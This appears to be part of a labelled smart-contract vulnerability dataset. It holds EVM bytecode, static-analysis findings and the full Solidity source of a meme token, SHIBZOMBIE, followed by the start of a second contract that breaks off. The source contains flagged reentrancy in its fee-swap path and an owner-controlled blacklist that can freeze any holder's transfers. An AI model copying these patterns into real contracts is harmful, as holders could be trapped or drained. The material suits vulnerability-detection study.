56112bd57600080fd5b505b600d544214156112ed576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112f830610684565b600c54909150600160b01b900460ff161580156113235750600c546001600160a01b03868116911614155b1561138d57801561138d57600c54611357906064906112a290600f90611351906001600160a01b0316610684565b906114af565b81111561138457600c54611381906064906112a290600f90611351906001600160a01b0316610684565b90505b61138d81610ce8565b505b61139b848484846115cf565b50505050565b600081848411156113c55760405162461bcd60e51b81526004016104c491906118b8565b5060006113d28486611c0b565b95945050505050565b60006006548211156114425760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c4565b600061144c6116d2565b9050611458838261152e565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114be575060006104f7565b60006114ca8385611c22565b9050826114d78583611c41565b146114585760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c4565b600061145883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116f5565b60008061157d8385611b65565b9050838110156114585760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c4565b80806115dd576115dd611723565b6000806000806115ec8761173f565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116199085611786565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116489084611570565b6001600160a01b03891660009081526001602052604090205561166a816117c8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116af91815260200190565b60405180910390a350505050806116cb576116cb600954600855565b5050505050565b60008060006116df611812565b90925090506116ee828261152e565b9250505090565b600081836117165760405162461bcd60e51b81526004016104c491906118b8565b5060006113d28486611c41565b60006008541161173257600080fd5b6008805460095560009055565b60008060008060008061175487600854611852565b9150915060006117626116d2565b90506000806117728a858561187f565b909b909a5094985092965092945050505050565b600061145883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113a1565b60006117d26116d2565b905060006117e083836114af565b306000908152600160205260409020549091506117fd9082611570565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a764000061182d828261152e565b82101561184957505060065492670de0b6b3a764000092509050565b90939092509050565b6000808061186560646112a287876114af565b905060006118738683611786565b96919550909350505050565b6000808061188d86856114af565b9050600061189b86866114af565b905060006118a98383611786565b92989297509195505050505050565b600060208083528351808285015260005b818110156118e5578581018301518582016040015282016118c9565b818111156118f7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e357600080fd5b803561192d8161190d565b919050565b6000806040838503121561194557600080fd5b82356119508161190d565b946020939093013593505050565b60008060006060848603121561197357600080fd5b833561197e8161190d565b9250602084013561198e8161190d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119c857600080fd5b823567ffffffffffffffff808211156119e057600080fd5b818501915085601f8301126119f457600080fd5b813581811115611a0657611a0661199f565b8060051b604051601f19603f83011681018181108582111715611a2b57611a2b61199f565b604052918252848201925083810185019188831115611a4957600080fd5b938501935b82851015611a6e57611a5f85611922565b84529385019392850192611a4e565b98975050505050505050565b600060208284031215611a8c57600080fd5b81356114588161190d565b60008060408385031215611aaa57600080fd5b8235611ab58161190d565b91506020830135611ac58161190d565b809150509250929050565b600060208284031215611ae257600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b5e57611b5e611b34565b5060010190565b60008219821115611b7857611b78611b34565b500190565b600060208284031215611b8f57600080fd5b81516114588161190d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bea5784516001600160a01b031683529383019391830191600101611bc5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c1d57611c1d611b34565b500390565b6000816000190483118215151615611c3c57611c3c611b34565b500290565b600082611c5e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a3f2a6ac7ee5e6d36fd9b15f8d1e6e77df961e1269562cebebcf10be08881dc764736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,737 |
0x5eac9bbbb79e3baca024b01e5e5dc1b14af31536
|
/**
*Submitted for verification at Etherscan.io on 2022-03-23
*/
/*
SPDX-License-Identifier: UNLICENSED
Shib, a grizzled survivor of a dangerous post zombie pandemic world,
who has slowly lost his sense of morality after the loss of his entire family and Zombiezen,
a kitten with her own struggle to maintain its sensibility and rationality after being accidentally turned in zombie by a crazy sectenist,
are forced together and must travel across the globe in search of a feint hope for the future of their beloved world.
Meanwhile they are searching for further survivors on this planet.
Show yourself if you are willing to join their journey!
You can be the last hope of our beloved planet.
Shib and Zombiezen are joining together to bring a whole new NFT collection to the cryptocurrency world!
They discovered that launching a NFT project could be the cure of the planet and they are asking us for funds!
https://t.me/shibzombie
https://shibzombie.com
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBZOMBIE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "SHIBZOMBIE";
string private constant _symbol = "SHIBZOMBIE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xeDe59D6f0ad6fb40beB83De77af802698E77e7bB);
_buyTax = 12;
_sellTax = 12;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 20000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 20000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 13) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 13) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610316578063c3c8cd8014610336578063c9567bf91461034b578063dbe8272c14610360578063dc1052e214610380578063dd62ed3e146103a057600080fd5b8063715018a6146102a45780638da5cb5b146102b957806395d89b411461013a5780639e78fb4f146102e1578063a9059cbb146102f657600080fd5b8063273123b7116100f2578063273123b714610213578063313ce5671461023357806346df33b71461024f5780636fc3eaec1461026f57806370a082311461028457600080fd5b806306fdde031461013a578063095ea7b31461017c57806318160ddd146101ac5780631bbae6e0146101d157806323b872dd146101f357600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082018252600a815269534849425a4f4d42494560b01b602082015290516101739190611918565b60405180910390f35b34801561018857600080fd5b5061019c61019736600461179f565b6103e6565b6040519015158152602001610173565b3480156101b857600080fd5b50670de0b6b3a76400005b604051908152602001610173565b3480156101dd57600080fd5b506101f16101ec3660046118d1565b6103fd565b005b3480156101ff57600080fd5b5061019c61020e36600461175e565b610448565b34801561021f57600080fd5b506101f161022e3660046116eb565b6104b1565b34801561023f57600080fd5b5060405160098152602001610173565b34801561025b57600080fd5b506101f161026a366004611897565b6104fc565b34801561027b57600080fd5b506101f1610544565b34801561029057600080fd5b506101c361029f3660046116eb565b610578565b3480156102b057600080fd5b506101f161059a565b3480156102c557600080fd5b506000546040516001600160a01b039091168152602001610173565b3480156102ed57600080fd5b506101f161060e565b34801561030257600080fd5b5061019c61031136600461179f565b61084d565b34801561032257600080fd5b506101f16103313660046117cb565b61085a565b34801561034257600080fd5b506101f16108f0565b34801561035757600080fd5b506101f1610930565b34801561036c57600080fd5b506101f161037b3660046118d1565b610af6565b34801561038c57600080fd5b506101f161039b3660046118d1565b610b2e565b3480156103ac57600080fd5b506101c36103bb366004611725565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103f3338484610b66565b5060015b92915050565b6000546001600160a01b031633146104305760405162461bcd60e51b81526004016104279061196d565b60405180910390fd5b66470de4df8200008111156104455760108190555b50565b6000610455848484610c8a565b6104a784336104a285604051806060016040528060288152602001611b04602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fbf565b610b66565b5060019392505050565b6000546001600160a01b031633146104db5760405162461bcd60e51b81526004016104279061196d565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105265760405162461bcd60e51b81526004016104279061196d565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461056e5760405162461bcd60e51b81526004016104279061196d565b4761044581610ff9565b6001600160a01b0381166000908152600260205260408120546103f790611033565b6000546001600160a01b031633146105c45760405162461bcd60e51b81526004016104279061196d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106385760405162461bcd60e51b81526004016104279061196d565b600f54600160a01b900460ff16156106925760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610427565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106f257600080fd5b505afa158015610706573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072a9190611708565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077257600080fd5b505afa158015610786573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107aa9190611708565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f257600080fd5b505af1158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a9190611708565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103f3338484610c8a565b6000546001600160a01b031633146108845760405162461bcd60e51b81526004016104279061196d565b60005b81518110156108ec576001600660008484815181106108a8576108a8611ab4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108e481611a83565b915050610887565b5050565b6000546001600160a01b0316331461091a5760405162461bcd60e51b81526004016104279061196d565b600061092530610578565b9050610445816110b7565b6000546001600160a01b0316331461095a5760405162461bcd60e51b81526004016104279061196d565b600e5461097a9030906001600160a01b0316670de0b6b3a7640000610b66565b600e546001600160a01b031663f305d719473061099681610578565b6000806109ab6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a0e57600080fd5b505af1158015610a22573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a4791906118ea565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610abe57600080fd5b505af1158015610ad2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044591906118b4565b6000546001600160a01b03163314610b205760405162461bcd60e51b81526004016104279061196d565b600d81101561044557600b55565b6000546001600160a01b03163314610b585760405162461bcd60e51b81526004016104279061196d565b600d81101561044557600c55565b6001600160a01b038316610bc85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610427565b6001600160a01b038216610c295760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610427565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cee5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610427565b6001600160a01b038216610d505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610427565b60008111610db25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610427565b6001600160a01b03831660009081526006602052604090205460ff1615610dd857600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e1a57506001600160a01b03821660009081526005602052604090205460ff16155b15610faf576000600955600c54600a55600f546001600160a01b038481169116148015610e555750600e546001600160a01b03838116911614155b8015610e7a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e8f5750600f54600160b81b900460ff165b15610ebc576000610e9f83610578565b601054909150610eaf8383611240565b1115610eba57600080fd5b505b600f546001600160a01b038381169116148015610ee75750600e546001600160a01b03848116911614155b8015610f0c57506001600160a01b03831660009081526005602052604090205460ff16155b15610f1d576000600955600b54600a555b6000610f2830610578565b600f54909150600160a81b900460ff16158015610f535750600f546001600160a01b03858116911614155b8015610f685750600f54600160b01b900460ff165b15610fad576000610f7a600483611a2b565b9050610f868183611a6c565b9150610f918161129f565b610f9a826110b7565b478015610faa57610faa47610ff9565b50505b505b610fba8383836112d5565b505050565b60008184841115610fe35760405162461bcd60e51b81526004016104279190611918565b506000610ff08486611a6c565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108ec573d6000803e3d6000fd5b600060075482111561109a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610427565b60006110a46112e0565b90506110b08382611303565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110ff576110ff611ab4565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561115357600080fd5b505afa158015611167573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118b9190611708565b8160018151811061119e5761119e611ab4565b6001600160a01b039283166020918202929092010152600e546111c49130911684610b66565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111fd9085906000908690309042906004016119a2565b600060405180830381600087803b15801561121757600080fd5b505af115801561122b573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061124d8385611a13565b9050838110156110b05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610427565b600f805460ff60a81b1916600160a81b17905580156112c5576112c53061dead83610c8a565b50600f805460ff60a81b19169055565b610fba838383611345565b60008060006112ed61143c565b90925090506112fc8282611303565b9250505090565b60006110b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061147c565b600080600080600080611357876114aa565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113899087611507565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113b89086611240565b6001600160a01b0389166000908152600260205260409020556113da81611549565b6113e48483611593565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161142991815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006114578282611303565b82101561147357505060075492670de0b6b3a764000092509050565b90939092509050565b6000818361149d5760405162461bcd60e51b81526004016104279190611918565b506000610ff08486611a2b565b60008060008060008060008060006114c78a600954600a546115b7565b92509250925060006114d76112e0565b905060008060006114ea8e87878761160c565b919e509c509a509598509396509194505050505091939550919395565b60006110b083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fbf565b60006115536112e0565b90506000611561838361165c565b3060009081526002602052604090205490915061157e9082611240565b30600090815260026020526040902055505050565b6007546115a09083611507565b6007556008546115b09082611240565b6008555050565b60008080806115d160646115cb898961165c565b90611303565b905060006115e460646115cb8a8961165c565b905060006115fc826115f68b86611507565b90611507565b9992985090965090945050505050565b600080808061161b888661165c565b90506000611629888761165c565b90506000611637888861165c565b90506000611649826115f68686611507565b939b939a50919850919650505050505050565b60008261166b575060006103f7565b60006116778385611a4d565b9050826116848583611a2b565b146110b05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610427565b80356116e681611ae0565b919050565b6000602082840312156116fd57600080fd5b81356110b081611ae0565b60006020828403121561171a57600080fd5b81516110b081611ae0565b6000806040838503121561173857600080fd5b823561174381611ae0565b9150602083013561175381611ae0565b809150509250929050565b60008060006060848603121561177357600080fd5b833561177e81611ae0565b9250602084013561178e81611ae0565b929592945050506040919091013590565b600080604083850312156117b257600080fd5b82356117bd81611ae0565b946020939093013593505050565b600060208083850312156117de57600080fd5b823567ffffffffffffffff808211156117f657600080fd5b818501915085601f83011261180a57600080fd5b81358181111561181c5761181c611aca565b8060051b604051601f19603f8301168101818110858211171561184157611841611aca565b604052828152858101935084860182860187018a101561186057600080fd5b600095505b8386101561188a57611876816116db565b855260019590950194938601938601611865565b5098975050505050505050565b6000602082840312156118a957600080fd5b81356110b081611af5565b6000602082840312156118c657600080fd5b81516110b081611af5565b6000602082840312156118e357600080fd5b5035919050565b6000806000606084860312156118ff57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561194557858101830151858201604001528201611929565b81811115611957576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119f25784516001600160a01b0316835293830193918301916001016119cd565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a2657611a26611a9e565b500190565b600082611a4857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a6757611a67611a9e565b500290565b600082821015611a7e57611a7e611a9e565b500390565b6000600019821415611a9757611a97611a9e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461044557600080fd5b801515811461044557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122040f5c2f7544ffce6d208bdd0a72be39346900871347f90858cc6fd6642e5161364736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,738 |
0xdd11f5cdcd86fbadc097417f9fb9919e51c8f2f3
|
pragma solidity ^0.4.26;
contract LTT_Exchange {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
/*==============================
= EVENTS =
==============================*/
event Reward(
address indexed to,
uint256 rewardAmount,
uint256 level
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "Link Trade Token";
string public symbol = "LTT";
uint8 constant public decimals = 0;
uint256 public totalSupply_ = 900000;
uint256 constant internal tokenPriceInitial_ = 0.00013 ether;
uint256 constant internal tokenPriceIncremental_ = 263157894;
uint256 public currentPrice_ = tokenPriceInitial_ + tokenPriceIncremental_;
uint256 public base = 1;
uint256 public basePrice = 380;
uint public percent = 1100;
uint256 public rewardSupply_ = 2000000;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal rewardBalanceLedger_;
address commissionHolder;
uint256 internal tokenSupply_ = 0;
mapping(address => bool) internal administrators;
mapping(address => address) public genTree;
mapping(address => uint256) public level1Holding_;
address terminal;
uint8[] percent_ = [5,2,1,1,1];
uint256[] holding_ = [0,460,460,930,930];
uint internal minWithdraw = 1000;
uint funds = 0;
bool distributeRewards_ = false;
bool reEntrancyMutex = false;
constructor() public
{
terminal = msg.sender;
administrators[terminal] = true;
}
